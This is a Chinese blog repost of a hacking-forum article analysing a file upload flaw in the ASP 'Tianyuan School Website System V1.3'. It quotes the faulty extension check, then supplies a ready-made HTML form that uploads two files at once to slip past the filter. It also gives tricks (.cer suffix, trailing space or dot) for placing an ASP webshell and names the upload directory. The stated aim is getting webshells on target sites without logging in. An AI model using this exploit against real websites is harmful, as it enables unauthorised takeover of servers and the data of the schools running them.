架构

精力有限, 力争合作伙伴,资源共享

常用链接

统计

常用

最新评论

天缘学校网站系统V1.3上传漏洞分析与利用

天缘学校网站系统v1.3上传漏洞分析与利用

时间:2010-08-26 18:27来源:刀客城 作者:anliou 点击:243次
最近一直在研究ASP方面的漏洞,从网上随便找了一套源码下载下来《天缘学校网站系统V1.3》貌似还应该是最新版本的吧,看看有没有什么漏洞可以利用,就有了今天此文。
最近一直在研究ASP方面的漏洞,从网上随便找了一套源码下载下来《天缘学校网站系统V1.3》貌似还应该是最新版本的吧,看看有没有什么漏洞可以利用,就有了今天此文。
研究漏洞我最喜欢用比较直接的方式能得到网站webshell的漏洞,比如说上传,数据库是asp或者asa格式的,这样可以不用进后台就能拿到webshell了。
下载下来之后,首先观察数据库,发现时.mdb后缀的,这样一句话插数据库就没用了,那打开admin目录,发现有一个upload.asp,这个文件是提交并对提交的文件进行判断的,里面有这么一句
  if Uprequest.form("file_Err")<>0  then
  select case Uprequest.form("file_Err")
不过我看了半天也没看出来这个 file_Err读取的是什么,(本人很菜的)那就去前台的目录好好找找看有没有利用的地方吧。
在前台同时也发现了这个文件
Upload_Photo.asp  打开查看源文件之后发现提交到的地址是 Upfile_Photo.asp
打开Upfile_Photo.asp的源代码,发现程序没有对用户身份进行判断,这样如果程序存在上传我们就可以直接提交我们的木马了,
继续往下看,越看感觉越眼熟。我贴出发生漏洞的代码吧
 
  1. for i=0 to ubound(arrUpFileType)    ‘对文件的后缀进行判断,如果属于程序要求的后缀,那么就将 EnableUpload变量置为True 
  2.  if fileEXT=trim(arrUpFileType(i)) then  
  3.   EnableUpload=true  
  4.   exit for  
  5.  end if  
  6. next  
  7. if fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" then    \'判断文件的后缀是不是属于asp、asa、aspx这三种类型(重点问题也发生在这里,  
  8.  EnableUpload=false        \'在这里没有对cer、php等等后缀进行过滤,也没有使用Trim对空格进行过滤)  
  9. end if  
  10. if EnableUpload=false then  
  11.  msg="这种文件类型不允许上传!nn只允许上传这几种文件类型:" & UpFileType  
  12.  FoundErr=true         \'判断我们的EnableUpload这个变量是真或者假,真表示合法  
  13. end if  
  14.  
  15. strJS="<SCRIPT language=javascript>" & vbcrlf  
  16. if FoundErr<>true then  
  17.  
  18.  randomize  
  19.  ranNum=int(900*rnd)+100         \'在这里又对FoundErr变量进行判断,不为True那就可以上传了。  
  20.  filename="big"&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt  
  21.  smallfilename=year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt  
  22.  ofile.SaveToFile Server.mappath(SavePath&filename)   \'保存文件 

这不就是以前那个动易的上传漏洞吗?由于这个化境无组件上传可以上传多个文件,我们可以通过上传同时两个不同后缀的文件来绕过判断,从而将我们的木马直接提交到服务器上。
这是利用代码:
<form action="[url=http://127.0.0.1/Upfile_Photo.asp]http://127.0.0.1/Upfile_Photo.asp[/url]" method="post" name="form1"  enctype="multipart/form-data">  \'其中127.0.0.1要改成你要提交的域名URL.
  <input name="FileName" type="FILE" class="tx1" size="21" >
  <input name="FileName1" type="FILE" class="tx1" size="21" >
  <input type="submit" name="Submit" value="上传" style="border:1px double rgb(88,88,88);font:9pt">
  <input name="PhotoUrlID" type="hidden" id="PhotoUrlID" value="1">
</form>
其中第一个文件名里面要填写符合程序要求的后缀文件,比如说.jpg、.gif等等。
第二个我们可以使用cer的后缀,其实也可以直接使用asp或者asa的文件进行上传,不过要再上传的时候在其后面加一个空格或者加一个点这样才能成功(貌似IE8.0能加空格)。具体原因,可以通过其源码进行分析。
既然有上传漏洞这种简单的能拿到webshell的方法了,其他的也就不去分析了。呵呵,虽然本文技术含量不高,而且是老的不能再老的漏洞了,但笔者可是写的很是辛苦啊(第一次写这种漏洞分析的文章),望刀城的贵人们多赏几个刀币啊 谢谢了。
忘了说了,上传之后路径是这里:/uploadfile/image/
由原创作者anliou首发:刀客城  《天缘学校网站系统 v1.3存在上传漏洞》
 



 
 2010.07-26
(责任编辑:admin)

posted on 2011-01-14 01:15 fdsajhg 阅读(447) 评论(0)  编辑 收藏 引用 所属分类:


只有注册用户登录后才能发表评论。
网站导航: 博客园   IT新闻   BlogJava   知识库   博问   管理